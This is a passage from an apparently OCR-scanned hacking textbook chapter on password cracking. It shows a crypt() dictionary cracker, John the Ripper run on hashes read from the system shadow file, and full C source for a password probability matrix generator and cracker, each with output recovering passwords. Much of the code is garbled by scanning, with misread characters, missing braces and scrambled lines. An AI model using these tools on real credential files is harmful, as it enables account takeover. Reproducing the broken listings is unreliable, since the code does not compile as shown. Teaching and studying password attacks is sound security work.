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word[strlen(word)-1] = '\O'; // Remove the '\n' byte at the end. 
hash = crypt(word, salt); // Hash the word using the salt. 
printf("trying word: %-30s ==> %15s\n", word, hash); 
if(stremp(hash, argv[2]) == 0) { // If the hash matches 
printf("The hash \"%s\" is from the ", argv[2]); 
printf("plaintext password \"%s\".\n", word); 
fclose(wordlist); 
exit(0); 
if 


printf("Couldn't find the plaintext password in the supplied wordlist.\n"); 
fclose(wordlist); 


} 


The following output shows this program being used to crack the password hash 
jeHEAX1m66RV,, using the words found in usrshare/dict/words. 


reader@hacking:~/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt 
reader@hacking:~/booksrc $ ./crypt_crack usrshare/dict/words jeHEAX1m66RV. 
Salt value is 'je' 


trying word: ==> jesS3DmkteZYk 
trying word: A ==> jeV7uK/S.y/KU 
trying word: A's ==>  jeEcn7sF7jwwU 
trying word: AOL ==> jeSFGex8ANJDE 
trying word: AOL's ==> jesSDhacNYUbc 
trying word: Aachen ==> jeyQc3uB14q1E 
trying word: Aachen's ==> je7AQSxfhvsyM 
trying word: Aaliyah ==> je/vAqRJyOZvU 


.:[ output trimmed ]:. 


trying word: terse ==> jelgEmNGLf1J2 
trying word: tersely ==> jeYfolaImUwqg 
trying word: terseness ==> jedH11z6kkEaA 
trying word: terseness's ==> jedH1i1z6kkEaA 
trying word: terser ==> jexptBe6psF3g 
trying word: tersest ==> jenhzylhDIqBA 
trying word: tertiary ==> jex6uKY9AJDto 
trying word: test ==> jJeHEAX1m66RV. 


The hash "jeHEAX1m66RV." is from the plaintext password "test". 

reader@hacking:~/booksrc $ 

Since the word test was the original password and this word is found in the 
words file, the password hash will eventually be cracked. This is why it's 
considered poor security practice to use passwords that are dictionary words or 
based on dictionary words. 


The downside to this attack is that if the original password isn't a word found in 
the dictionary file, the password won't be found. For example, if a non- 
dictionary word such as h4R% is used as a password, the dictionary attack won't 


be able to find it: 

reader@hacking:~/booksrc $ ./crypt_test h4R% je 

password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE 
reader@hacking:~/booksrc $ ./crypt_crack usrshare/dict/words jeMqqfIfPNNTE 
Salt value is 'je' 

trying word: ==> jesS3DmkteZYk 

trying word: A ==> jeV7uK/S.y/KU 

trying word: A's ==> jeEcn7sF7jwwU 


trying word: AOL ==> jeSFGex8ANJDE 


trying word: AOL'S ==> jesSDhacNYUbc 
trying word: Aachen ==> jeyQc3uB14q1E 
trying word: Aachen's ==> je7AQsxfhvsyM 
trying word: Aaliyah ==> je/vAqRJyOZvU 


.:[ output trimmed ]:. 


trying word: zooms ==> je8A6DQ87wHHI 
trying word: Zoos ==> jePmCz9ZNPwKU 
trying word: zucchini ==> jeqz9LSwt.esI 
trying word: zucchini's ==> jeqZ9LSWt.esI 
trying word: zucchinis ==> jeqZ9LSWt.esI 
trying word: zwieback ==> jezzR3b5zwlys 
trying word: zwieback's ==> jezzR3b5zwlys 
trying word: zygote ==> jei5HG7JrfLy6 
trying word: zygote's ==> jej86M9AGOyj2 
trying word: zygotes ==> jeWHQebU1xTmo 


Couldn't find the plaintext password in the supplied wordlist. 


Custom dictionary files are often made using different languages, standard 
modifications of words (such as transforming letters to numbers), or simply 
appending numbers to the end of each word. While a bigger dictionary will yield 
more passwords, it will also take more time to process. 


Exhaustive BruteForce Attacks 


A dictionary attack that tries every single possible combination is an exhaustive 
bruteforce attack. While this type of attack will technically be able to crack 
every conceivable password, it will probably take longer than your 
grandchildren's grandchildren would be willing to wait. 


With 95 possible input characters for crypt ()-style passwords, there are 95° 
possible passwords for an exhaustive search of all eight-character passwords, 
which works out to be over seven quadrillion possible passwords. This number 
gets so big so quickly because, as another character is added to the password 
length, the number of possible passwords grows exponentially. Assuming 10,000 
cracks per second, it would take about 22,875 years to try every password. 
Distributing this effort across many machines and processors is one possible 
approach; however, it is important to remember that this will only achieve a 
linear speedup. If one thousand machines were combined, each capable of 
10,000 cracks per second, the effort would still take over 22 years. The linear 
speedup achieved by adding another machine is marginal compared to the 
growth in keyspace when another character is added to the password length. 


Luckily, the inverse of the exponential growth is also true; as characters are 
removed from the password length, the number of possible passwords decreases 
exponentially. This means that a fourcharacter password only has 954 possible 
passwords. This keyspace has only about 84 million possible passwords, which 
can be exhaustively cracked (assuming 10,000 cracks per second) in a little over 
two hours. This means that, even though a password like h4R% isn't in any 
dictionary, it can be cracked in a reasonable amount of time. 


This means that, in addition to avoiding dictionary words, password length is 
also important. Since the complexity scales up exponentially, doubling the length 
to produce an eight-character password should bring the level of effort required 
to crack the password into the unreasonable time frame. 


Solar Designer has developed a password-cracking program called John the 
Ripper that uses first a dictionary attack and then an exhaustive bruteforce 
attack. This program is probably the most popular one of its kind; it is available 
at http://www.openwall.com/john. It has been included on the LiveCD. 


reader@hacking:~/booksrc $ john 


John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer 


Usage: john [OPTIONS] [PASSWORD-FILES] 


-single 
-wordfile:FILE 
-rules 
-incremental[ :MODE] 
-external :MODE 
-stdout [ : LENGTH] 
-restore[:FILE] 
-session:FILE 
-status[:FILE] 
-makechars:FILE 
-show 

-test 


-stdin 


-users:[-]LOGIN|UID[,.. 


-groups:[-]GID[,..] 
-shells:[-]SHELL[,..] 
-salts : [- ]COUNT 
-format : NAME 
-savemem: LEVEL 


"single crack" mode 

wordlist mode, read words from FILE or stdin 
enable rules for wordlist mode 

incremental mode [using section MODE] 
external mode or word filter 

no cracking, just write words to stdout 
restore an interrupted session [from FILE] 
set session file name to FILE 

print status of a session [from FILE] 

make a charset, FILE will be overwritten 

show cracked passwords 

perform a benchmark 

load this (these) user(s) only 

load users of this (these) group(s) only 

load users with this (these) shell(s) only 
load salts with at least COUNT passwords only 
force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM) 
enable memory saving, at LEVEL 1..3 


reader@hacking:~/booksrc $ sudo tail -3 etcshadow 

matrix: $1$zZCcRXVsm$GdpHxqC9epMrdQcayUxO// :13763:0:99999:7::: 
jose: $1$pRS4 . I8m$Zy50Ff8AtD800SemMgm. 2Yg. :13786:0:99999:7::: 
reader : U6aMyOwoj raho:13764:0:99999:7::: 
reader@hacking:~/booksrc $ sudo john etcshadow 


Loaded 2 passwords with 2 
guesses: © time: 0:00:00: 
guesses: © time: 0:00:00: 
guesses: © time: 0:00:00: 
guesses: © time: 0:00:00: 
guesses: © time: 0:00:00: 
testing7 (jose) 

guesses: 1 time: 0:00:00 
guesses: 1 time: 0:00:00 


Session aborted 


different salts (FreeBSD MD5 [32/32]) 


01 0% (2) c/s: 5522 trying: koko 

03 6% (2) c/s: 5489 trying: exports 

05 10% (2) c/s: 5561 trying: catcat 

09 20% (2) c/s: 5514 trying: dilbert! 

10 22% (2) c/s: 5513 trying: redrum3 

:14 44% (2) c/s: 5539 trying: KnightKnight 
:17 59% (2) c/s: 5572 trying: Gofish! 


In this output, the account jose is shown to have the password of testing7. 


Hash Lookup Table 


Another interesting idea for password cracking is using a giant hash lookup 
table. If all the hashes for all possible passwords were precomputed and stored in 
a searchable data structure somewhere, any password could be cracked in the 
time it takes to search. Assuming a binary search, this time would be about 
O(log, N), where N is the number of entries. Since N is 95° in the case of eight- 


character passwords, this works out to about O(8 log, 95), which is quite fast. 


However, a hash lookup table like this would require about 100,000 terabytes of 
storage. In addition, the design of the password-hashing algorithm takes this type 
of attack into consideration and mitigates it with the salt value. Since multiple 
plaintext passwords will hash to different password hashes with different salts, a 
separate lookup table would have to be created for each salt. With the DES- 
based crypt() function, there are 4,096 possible salt values, which means that 
even for a smaller keyspace, such as all possible fourcharacter passwords, a hash 
lookup table becomes impractical. With a fixed salt, the storage space needed for 
a single lookup table for all possible fourcharacter passwords is about one 
gigabyte, but because of the salt values, there are 4,096 possible hashes for a 
single plaintext password, necessitating 4,096 different tables. This raises the 
needed storage space up to about 4.6 terabytes, which greatly dissuades such an 
attack. 


Password Probability Matrix 


There is a trade-off between computational power and storage space that exists 
everywhere. This can be seen in the most elementary forms of computer science 
and everyday life. MP3 files use compression to store a high-quality sound file 
in a relatively small amount of space, but the demand for computational 
resources increases. Pocket calculators use this trade-off in the other direction by 
maintaining a lookup table for functions such as sine and cosine to save the 
calculator from doing heavy computations. 


This trade-off can also be applied to cryptography in what has become known as 
a time/space trade-off attack. While Hellman's methods for this type of attack are 
probably more efficient, the following source code should be easier to 
understand. The general principle is always the same, though: Try to find the 
sweet spot between computational power and storage space, so that an 
exhaustive bruteforce attack can be completed in a reasonable amount of time, 
using a reasonable amount of space. Unfortunately, the dilemma of salts will still 
present itself, since this method still requires some form of storage. However, 
there are only 4,096 possible salts with crypt ()-style password hashes, so the 
effect of this problem can be diminished by reducing the needed storage space 
far enough to remain reasonable despite the 4,096 multiplier. 


This method uses a form of lossy compression. Instead of having an exact hash 
lookup table, several thousand possible plaintext values will be returned when a 
password hash is entered. These values can be checked quickly to converge on 
the original plaintext password, and the lossy compression allows for a major 
space reduction. In the demonstration code that follows, the keyspace for all 
possible fourcharacter passwords (with a fixed salt) is used. The storage space 
needed is reduced by 88 percent, compared to a full hash lookup table (with a 
fixed salt), and the keyspace that must be bruteforced through is reduced by 
about 1,018 times. Under the assumption of 10,000 cracks per second, this 
method can crack any fourcharacter password (with a fixed salt) in under eight 
seconds, which is a considerable speedup when compared to the two hours 
needed for an exhaustive bruteforce attack of the same keyspace. 


This method builds a three-dimensional binary matrix that correlates parts of the 
hash values with parts of the plaintext values. On the x-axis, the plaintext is split 
into two pairs: the first two characters and the second two characters. The 
possible values are enumerated into a binary vector that is 952, or 9,025, bits 


long (about 1,129 bytes). On the y-axis, the ciphertext is split into four three- 
character chunks. These are enumerated the same way down the columns, but 
only four bits of the third character are actually used. This means there are 647.4, 
or 16,384, columns. The z-axis exists simply to maintain eight different two- 
dimensional matrices, so four exist for each of the plaintext pairs. 


The basic idea is to split the plaintext into two paired values that are enumerated 
along a vector. Every possible plaintext is hashed into ciphertext, and the 
ciphertext is used to find the appropriate column of the matrix. Then the 
plaintext enumeration bit across the row of the matrix is turned on. When the 
ciphertext values are reduced into smaller chunks, collisions are inevitable. 


test | jeHEA X1m66RV. 


ion | eHEA38vqlkkQ 


SEF jeHEA1Tbde5FE 





"8,J jeHEAnX8kQK3I 


In this case, the column for HEA would have the bits corresponding to the 
plaintext pairs te, !J, "., and "8 turned on, as these plaintext/hash pairs are 
added to the matrix. 


After the matrix is completely filled out, when a hash such as jeHEA38vq1kkęQ is 
entered, the column for HEA will be looked up, and the two-dimensional matrix 
will return the values te, !J,'"., and "8 for the first two characters of the 
plaintext. There are four matrices like this for the first two characters, using 
ciphertext substring from characters 2 through 4, 4 through 6, 6 though 8, and 8 
though 10, each with a different vector of possible first two-character plaintext 
values. Each vector is pulled, and they are combined with a bitwise AND. This 
will leave only those bits turned on that correspond to the plaintext pairs listed as 
possibilities for each substring of ciphertext. There are also four matrices like 
this for the last two characters of plaintext. 


The sizes of the matrices were determined by the pigeonhole principle. This is a 
simple principle that states: If k + 1 objects are put into k boxes, at least one of 
the boxes will contain two objects. So, to get the best results, the goal is for each 
vector to be a little bit less than half full of 1s. Since 954, or 81,450,625, entries 
will be put in the matrices, there need to be about twice as many holes to achieve 


50 percent saturation. Since each vector has 9,025 entries, there should be about 
(954 - 2) / 9025 columns. This works out to be about 18,000 columns. Since 
ciphertext substrings of three characters are being used for the columns, the first 
two characters and four bits from the third character are used to provide 64? - 4, 
or about 16 thousand columns (there are only 64 possible values for each 
character of ciphertext hash). This should be close enough, because when a bit is 
added twice, the overlap is ignored. In practice, each vector turns out to be about 
42 percent saturated with 1s. 


Since there are four vectors that are pulled for a single ciphertext, the probability 
of any one enumeration position having a 1 value in each vector is about 0.424, 
or about 3.11 percent. This means that, on average, the 9,025 possibilities for the 
first two characters of plaintext are reduced by about 97 percent to 280 
possibilities. This is also done for the last two characters, providing about 2807, 
or 78,400, possible plaintext values. Under the assumption of 10,000 cracks per 
second, this reduced keyspace would take under 8 seconds to check. 


Of course, there are downsides. First, it takes at least as long to create the matrix 
as the original bruteforce attack would have taken; however, this is a onetime 
cost. Also, the salts still tend to prohibit any type of storage attack, even with the 
reduced storage-space requirements. 


The following two source code listings can be used to create a password 
probability matrix and crack passwords with it. The first listing will generate a 
matrix that can be used to crack all possible fourcharacter passwords salted with 
je. The second listing will use the generated matrix to actually do the password 
cracking. 


ppm_gen.c 

LPEEEELEEE EEL EE RRL REL ILE SIRES LIKE LOL REL RET IE IK SR REN 

* Password Probability Matrix File: ppm_gen.c 

kkxkxkxkxkkxkkxkkkxkkkkkxkkkkkkkkkkkkkkkkkkxkkkkkkkkkkkkkkkkkkkkkkkk 
Author: Jon Erickson <matrix@phiral.com> 


Organization: Phiral Research Laboratories 


This is the generate program for the PPM proof of 
concept. It generates a file called 4char.ppm, which 
contains information regarding all possible 4- 
character passwords salted with 'je'. This file can 
be used to quickly crack passwords found within this 
keyspace with the corresponding ppm_crack.c program. 


+ + © + + FF +t + H 
+O + + + + + + + + + 


NEEE RR RR IER RS LIL ICR RRR RR IR IO RBA IR SIL SRI A, EEF ORK RIOR 


#define XOPENSOURCE 


#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h> 


#define HEIGHT 16384 

#define WIDTH 1129 

#define DEPTH 8 

#define SIZE HEIGHT WIDTH DEPTH 


/* Map a single hash byte to an enumerated value. */ 
int enum_hashbyte(char a) { 

int i, j; 

i = (int)a; 

if((i >= 46) && (i <= 57)) 


j = i - 46; 

else if ((i >= 65) && (i <= 90)) 
j =i - 53; 

else if ((i >= 97) && (i <= 122)) 
j= i - 59; 

return j; 


} 


/* Map 3 hash bytes to an enumerated value. */ 
int enum_hashtriplet(char a, char b, char c) { 

return (((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b)); 
} 


/* Barf a message and exit. */ 

void barf(char message, char extra) { 
printf (message, extra); 
exit(1); 

as 


/* Generate a 4-char.ppm file with all possible 4-char passwords (salted w/ je). */ 
int main() { 

char plain[5]; 

char *code, *data; 

int i, j, k, l; 

unsigned int charval, val; 

FILE *handle; 

if (!(handle = fopen("4char.ppm", "w"))) 

barf("Error: Couldn't open file '4char.ppm' for writing.\n", NULL); 


data = (char *) malloc(SIZE); 
if (!(data)) 
barf("Error: Couldn't allocate memory.\n", NULL); 


for(i=32; i<127; i++) { 
for(j=32; j<127; j++) { 
printf("Adding %c%c** to 4char.ppm..\n", i, j); 
for(k=32; k<127; k++) { 
for(1=32; 1<127; 1++) { 


plain[0] = (char)i; // Build every 
plain[1] = (char)j; // possible 4-byte 
plain[2] = (char)k; // password. 
plain[3] = (char)1; 

plain[4] = '\O'; 


code = crypt((const char )plain, (const char )"je"); // Hash it. 

/* Lossfully store statistical info about the pairings. */ 

val = enum_hashtriplet(code[2], code[3], code[4]); // Store info about 
bytes 2-4. 


charval = (i-32)*95 + (j-32); // First 2 plaintext bytes 


bytes 6-8 


// bytes 8-10 


} 
} 
} 


data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8)); 

val += (HEIGHT * 4); 

charval = (k-32)*95 + (1-32); // Last 2 plaintext bytes 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 


val = HEIGHT + enum_hashtriplet(code[4], code[5], code[6]); // bytes 4-6 
charval = (i-32)*95 + (j-32); // First 2 plaintext bytes 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 

val += (HEIGHT * 4); 

charval = (k-32)*95 + (1-32); // Last 2 plaintext bytes 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 


val = (2 * HEIGHT) + enum_hashtriplet(code[6], code[7], code[8]); // 


charval = (i-32)*95 + (j-32); // First 2 plaintext bytes 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 

val += (HEIGHT * 4); 

charval = (k-32)*95 + (1-32); // Last 2 plaintext bytes 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 


val = (3 * HEIGHT) + enum_hashtriplet(code[8], code[9], code[10]); 


charval = (i-32)*95 + (j-32); // First 2 plaintext chars 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 

val += (HEIGHT * 4); 

charval = (k-32)*95 + (1-32); // Last 2 plaintext bytes 
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%s) ); 


printf("finished.. saving..\n"); 


fwrite(data 
free(data); 


, SIZE, 1, handle); 


fclose(handle) ; 


} 


The first piece of code, ppm_gen.c, can be used to generate a fourcharacter 
password probability matrix, as shown in the output below. The -03 option 
passed to GCC tells it to optimize the code for speed when it compiles. 


reader@hacking 
reader@hacking 
Adding ** to 
Adding !** to 
Adding "** to 


:~/booksrc $ gcc -03 -o ppm_gen ppm_gen.c -lcrypt 
:~/booksrc $ ./ppm_gen 

4char.ppm.. 

4char.ppm.. 

4char.ppm.. 


.:[ output trimmed ]:. 


Adding ~|** to 
Adding ~}** to 
Adding ~~** to 


Achar .ppm. . 
4char.ppm. . 
4char.ppm.. 


finished.. saving.. 
@hacking:~ $ ls -lh 4char.ppm 
-rw-r--r-- 1 142M 2007-09-30 13:56 4char.ppm 


reader@hacking 


:~/booksrc $ 


The 142MB 4char.ppm file contains loose associations between the plaintext and 
hash data for every possible fourcharacter password. This data can then be used 
by this next program to quickly crack fourcharacter passwords that would foil a 
dictionary attack. 


ppm_crack.c 


LEELA ERE EES RBS SIR LAA RS A RICE AR RRL SAR ILS RIE EA RE LE FOR RAIN 
* Password Probability Matrix File: ppm_crack.c 
kkkxkxkkxkxkkkkkxkkkkkxkkxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk 


* 


Author: Jon Erickson <matrix@phiral.com> 
Organization: Phiral Research Laboratories 


* 
* 
* 
* This is the crack program for the PPM proof of concept. 
* It uses an existing file called 4char.ppm, which 

* contains information regarding all possible 4- 

* character passwords salted with 'je'. This file can 

* be generated with the corresponding ppm_gen.c program. 
* 
\ 


kkxkxkkkkkkkkxkkxkkkxkkkkkkkkkkkkkkkkxkkxkkkkkkkkkkkkkkkkkkkkkkk 


N + +*+ ++ +++ +*+ 


#define XOPENSOURCE 
#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h> 


#define HEIGHT 16384 

#define WIDTH 1129 

#define DEPTH 8 

#define SIZE HEIGHT WIDTH DEPTH 
#define DCM HEIGHT * WIDTH 


/* Map a single hash byte to an enumerated value. */ 
int enum_hashbyte(char a) { 

int i, j; 

i = (int)a; 

if((i >= 46) && (i <= 57)) 


j = i - 46; 

else if ((i >= 65) && (i <= 90)) 
j = i - 53; 

else if ((i >= 97) && (i <= 122)) 
j =i - 59; 

return j; 


} 


/* Map 3 hash bytes to an enumerated value. */ 
int enum_hashtriplet(char a, char b, char c) { 
return (((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b)); 


/* Merge two vectors. */ 
void merge(char *vector1, char *vector2) { 
int i; 
for(i=0; i < WIDTH; i++) 
vectori[i] &= vector2[i]; 


} 


/* Returns the bit in the vector at the passed index position */ 
int get_vector_bit(char *vector, int index) { 

return ((vector[(index/8)]&(1<<(index%8)))>>(index%8)); 
} 


/* Counts the number of plaintext pairs in the passed vector */ 
int count_vector_bits(char *vector) { 

int i, count=0; 

for(i=0; i < 9025; i++) 


count += get_vector_bit(vector, i); 
return count; 


} 


/* Print the plaintext pairs that each ON bit in the vector enumerates. */ 
void print_vector(char *vector) { 
int i, a, b, val; 
for(i=0; i < 9025; i++) { 
if(get_vector_bit(vector, i) == 1) { // If bit is on, 
a = i 95; / calculate the 
b = i - (a * 95); // plaintext pair 
printf ("%c%c ",a+32, b+32); // and print it. 


} 
printf ("\n"); 


/* Barf a message and exit. */ 

void barf(char message, char extra) { 
printf (message, extra); 
exit(1); 


/* Crack a 4-character password using generated 4char.ppm file. */ 
int main(int argc, char *argv[]) { 
char *pass, plain[5]; 
unsigned char bin_vector1[WIDTH], bin_vector2[WIDTH], temp_vector [WIDTH]; 
char prob_vector1[2][9025]; 
char prob_vector2[2][9025]; 
int a, b, i, j, len, pvi_len=0, pv2_len=0; 
FILE *fd; 


if (argc < 1) 
barf("Usage: %s <password hash> (will use the file 4char.ppm)\n", argv[0]); 


if(!(fd = fopen("4char.ppm", "r"))) 
barf("Fatal: Couldn't open PPM file for reading.\n", NULL); 


pass = argv[1]; // First argument is password hash 
printf ("Filtering possible plaintext bytes for the first two characters:\n"); 


fseek(fd, (DCM*0)+enum_hashtriplet(pass[2], pass[3], pass[4])*WIDTH, SEEK_SET); 
fread(bin_vector1, WIDTH, 1, fd); // Read the vector associating bytes 2-4 of hash. 


len = count_vector_bits(bin_vector1); 

printf("only 1 vector of 4:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 
len*100.0/ 
9025.0); 


fseek(fd, (DCM*1)+enum_hashtriplet(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET); 
fread(temp_vector, WIDTH, 1, fd); // Read the vector associating bytes 4-6 of hash. 
merge(bin_vector1i, temp_vector); // Merge it with the first vector. 


len = count_vector_bits(bin_vector1); 
printf("vectors 1 AND 2 merged:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 
len*100.0/9025.0); 


fseek(fd, (DCM*2)+enum_hashtriplet(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET); 
fread(temp_vector, WIDTH, 1, fd); // Read the vector associating bytes 6-8 of hash. 
merge(bin_vector1i, temp_vector); // Merge it with the first two vectors. 


len = count_vector_bits(bin_vector1); 
printf("first 3 vectors merged:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 


len*100.0/9025.0); 


fseek(fd, (DCM*3)+enum_hashtriplet(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET); 
fread(temp_vector, WIDTH, 1, fd); // Read the vector associatind bytes 8-10 of hash. 
merge(bin_vectori, temp_vector); // Merge it with the othes vectors. 


len = count_vector_bits(bin_vector1); 
printf("all 4 vectors merged:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 
len*100.0/9025.0); 


printf("Possible plaintext pairs for the first two bytes:\n"); 
print_vector(bin_vector1); 


printf("\nFiltering possible plaintext bytes for the last two characters:\n"); 


fseek(fd, (DCM*4)+enum_hashtriplet(pass[2], pass[3], pass[4])*WIDTH, SEEK_SET); 
fread(bin_vector2, WIDTH, 1, fd); // Read the vector associating bytes 2-4 of hash. 


len = count_vector_bits(bin_vector2); 
printf("only 1 vector of 4:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 
len*100.0/ 
9025.0); 


fseek(fd, (DCM*5)+enum_hashtriplet(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET); 
fread(temp_vector, WIDTH, 1, fd); // Read the vector associating bytes 4-6 of hash. 
merge(bin_vector2, temp_vector); // Merge it with the first vector. 


len = count_vector_bits(bin_vector2); 
printf("vectors 1 AND 2 merged:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 
len*100.0/9025.0); 


fseek(fd, (DCM*6)+enum_hashtriplet(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET); 
fread(temp_vector, WIDTH, 1, fd); // Read the vector associating bytes 6-8 of hash. 
merge(bin_vector2, temp_vector); // Merge it with the first two vectors. 


len = count_vector_bits(bin_vector2); 
printf("first 3 vectors merged:\t%d plaintext pairs, with %0.2—%% saturation\n", len, 
len*100.0/9025.0); 


fseek(fd, (DCM*7)+enum_hashtriplet(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET); 
fread(temp_vector, WIDTH, 1, fd); // Read the vector associatind bytes 8-10 of hash. 
merge(bin_vector2, temp_vector); // Merge it with the othes vectors. 


len = count_vector_bits(bin_vector2); 
printf("all 4 vectors merged:\t%d plaintext pairs, with %0.2f%% saturation\n", len, 
len*100.0/9025.0); 


printf("Possible plaintext pairs for the last two bytes:\n"); 
print_vector(bin_vector2); 
printf("Building probability vectors...\n"); 
for(i=0; i < 9025; i++) { // Find possible first two plaintext bytes. 
if(get_vector_bit(bin_vectori, i)==1) {; 
prob_vector1i[0][pvi_len] i / 95; 
prob_vectori[1][pvi_len] i - (prob_vectori[0][pvi_len] * 95); 
pvi_len++; 
} 
} 
for(i=0; i < 9025; i++) { // Find possible last two plaintext bytes. 
if(get_vector_bit(bin_vector2, i)) { 
prob_vector2[0][pv2_len] = i / 95; 
prob_vector2[1][pv2_len] = i - (prob_vector2[0][pv2_len] * 95); 
pv2_len++; 
} 
} 


printf("Cracking remaining %d possibilites..\n", pvi_len*pv2_len); 
for(i=0; i < pvi_len; i++) { 


for(j=0; j < pv2_len; j++) { 
plain[0] = prob_vector1[0][i] + 32; 
plain[1] = prob_vectori[1][i] + 32; 
plain[2] = prob_vector2[0][j] + 32; 
plain[3] = prob_vector2[1][j] + 32; 
plain[4] = 0; 
if(stremp(crypt(plain, "je"), pass) == 0) { 
printf("Password : %s\n", plain); 
i = 31337; 
j = 31337; 
a 
} 


} 
if(i < 31337) 
printf("Password wasn't salted with 'je' or is not 4 chars long.\n"); 


fclose(fd); 


The second piece of code, ppm_crack.c, can be used to crack the troublesome 


password of h4R% in a matter of seconds: 
reader@hacking:~/booksrc $ ./crypt_test h4R% je 

password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE 
reader@hacking:~/booksrc $ gcc -03 -o ppm_crack ppm_crack.c -lcrypt 
reader@hacking:~/booksrc $ ./ppm_crack jeMqqfIfPNNTE 

Filtering possible plaintext bytes for the first two characters: 
only 1 vector of 4: 3801 plaintext pairs, with 42.12% saturation 
vectors 1 AND 2 merged: 1666 plaintext pairs, with 18.46% saturation 
first 3 vectors merged: 695 plaintext pairs, with 7.70% saturation 


all 4 vectors merged: 287 plaintext pairs, with 3.18% saturation 
Possible plaintext pairs for the first two bytes: 
4 9 N !& IM !Q "/ "5 "W #K #d #9 #p $K $0 $s %) %Z %\ %r &( &T '- 'O '7 'D 


'F( (v (| )+ ). DE Wepgqt *x +C -5 -A -[ -a .% .D .S .f /t 02 07 0? 

Oe Of O| 1A 1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C 7: 7@ 7S 
7Z 8F 8H 9R 9U 9 9~ :- iq is jG ;J ;Z ;k <! <8 =! =3 =H =L =N =Y >V >X 71 @# 
@w @v @| AO B/ BO BO Bz C( D8 D> E8 EZ F@ G& G? Gj Gy H4 I@ J JN JT JU Jh Jq 
Ks Ku M) M{ N, N: NC NF NQ Ny O/ O[ P9 Pc Q! QA Qi Qv RA Sg Sv TO Te U& U> UO 
VT VE V] Vc Vg Vi W: WG X" X6 XZ X` Xp YT YV Y^ Yl Yy Y{ Za [$ [* [9 [m [z \" \ 
+ \C \O \w ]( ]: J@ Jw K j ~q a. aN a^ ae au b: bG bP cE cP dU d] e! fI fv g! 
gG h+ h4 hc iI iT iV iZ in k. kp 15 1` 1lm lq m, m= mE nO nD nQ n~ o# o: OA pO 
p1 pC pe q* q0 qQ q{ rA rY s" sD sz tK tw u-v$ v. v3 v; v_ vi vo wP wt x" x& 

x+ x1 XQ xX xi yN yo zO zP zU z[ z^ zf zi zr zt {- {B {a |s }) }+ }? }y Lm 


Filtering possible plaintext bytes for the last two characters: 
only 1 vector of 4: 3821 plaintext pairs, with 42.34% saturation 
vectors 1 AND 2 merged: 1677 plaintext pairs, with 18.58% saturation 
first 3 vectors merged: 713 plaintext pairs, with 7.90% saturation 
all 4 vectors merged: 297 plaintext pairs, with 3.29% saturation 
Possible plaintext pairs for the last two bytes: 

! & != IH !I !K IP IX !o !~ "r "{ "} #% #0 $5 $] %K MM %T &" &% &( &0 &4 AI 
&q &} 'B 'Q 'd )j )wwI]ejkow | +B+Ww,',J,;V -z. $.T'L_ 
OY Oi Os 1! 1= 11 1v 2-2/ 2g 2k 3n 4K 4Y 4\ 4y 5- 5M 50 5} 6+ 62 6E 6j 7* 74 
8E 9Q 9\ 9a 9b :8 :; A H :S iw ;" 7& ;L <L <m <r <u =, =4 =v >v >X ?& ?` ?j 
?w @O A* B B@ BT C8 CF CJ CN C} D+ D? DK Dc EM EQ FZ GO GR H) Hj I: I> J( J+ 
J3 J6 Jm K# K) K@ L, L1 LT N* NW N` O= O[ Ot P: P\ Ps Q-Qa R% RJ RS S3 Sa T! 
T$ T@ TR T_ Th U" U1 V* V{ W3 Wy Wz X% X* Y* Y? Yw Z7 Za Zh Zi Zm [F \( \3 \5 \ 
— \a \b \| ]$ J. ]2 ]? Jd ^[ 4~ `1 `F `f `y a8 a= aI aK az b, b-bS bz c( cg dB 
e, eF eJ eK eu fT fw fo g( g> gw g\ h$ h9 h: h@ hk i? jN ji jn k= kj 17 lo m< 
m= mT me m| m} n% n? n~ o oF oG oM p" p9 p\ q} r6 r= rB sA sN s{ s~ tX tpu 
u2 uQ uU uk v# vG vV w vl w* w> wD wv x2 XA y: y= y? yM yU yX ZK zv {# {) {= 


{0 {m |I |Z }. }; }d + C ~a 

Building probability vectors... 

Cracking remaining 85239 possibilites.. 

Password : h4R% 

reader@hacking:~/booksrc $ 

These programs are proof-of-concept hacks, which take advantage of the bit 
diffusion provided by hash functions. There are other time-space trade-off 
attacks, and some have become quite popular. RainbowCrack is a popular tool, 
which has support for multiple algorithms. If you want to learn more, consult the 


Internet. 


Wireless 802.11b Encryption 


Wireless 802.11b security has been a big issue, primarily due to the absence of it. 
Weaknesses in Wired Equivalent Privacy (WEP), the encryption method used for 
wireless, contribute greatly to the overall insecurity. There are other details, 
sometimes ignored during wireless deployments, which can also lead to major 
vulnerabilities. 


The fact that wireless networks exist on layer 2 is one of these details. If the 
wireless network isn't VLANed off or firewalled, an attacker associated to the 
wireless access point could redirect all the wired network traffic out over the 
wireless via ARP redirection. This, coupled with the tendency to hook wireless 
access points to internal private networks, can lead to some serious 
vulnerabilities. 


